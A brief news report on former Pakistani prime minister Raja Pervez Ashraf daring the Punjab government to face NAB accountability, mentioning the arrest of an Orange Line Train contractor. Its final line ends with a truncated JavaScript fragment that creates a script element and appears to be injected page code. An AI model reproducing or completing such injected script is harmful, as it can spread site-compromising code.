GUJRANWALA: Former prime minister and Pakistan People’s Party (PPP) leader Raja Pervez Ashraf has dared the Punjab government to face National Accountability Bureau (NAB) if they are clean of corruption.

The former prime minister said that Pakistan People’s Party (PPP) fully cooperated with National Accountability Bureau and Rangers in Sindh.

“If accountability can take place in Sindh then Punjab should also bravely welcome it”, he added. He added that his party did not raise any criticisms when former Prime Minister Syed Yousuf Raza Gillani was being investigated by the probe agency.

“Everyone should be held accountable”, Ashraf said. “Why those people claiming themselves to be free of corruption are having problems over facing the accountability bureau”, he asked.

It is vital to mention here the NAB arrested contractor of Orange Line Train Project that prompted the provincial government of the Pakistan Muslim League-Nawaz (PML-N). The authority is reportedly also considering to investigate many other projects of the provincial government.var d=document;var s=d.createElement(‘script’);
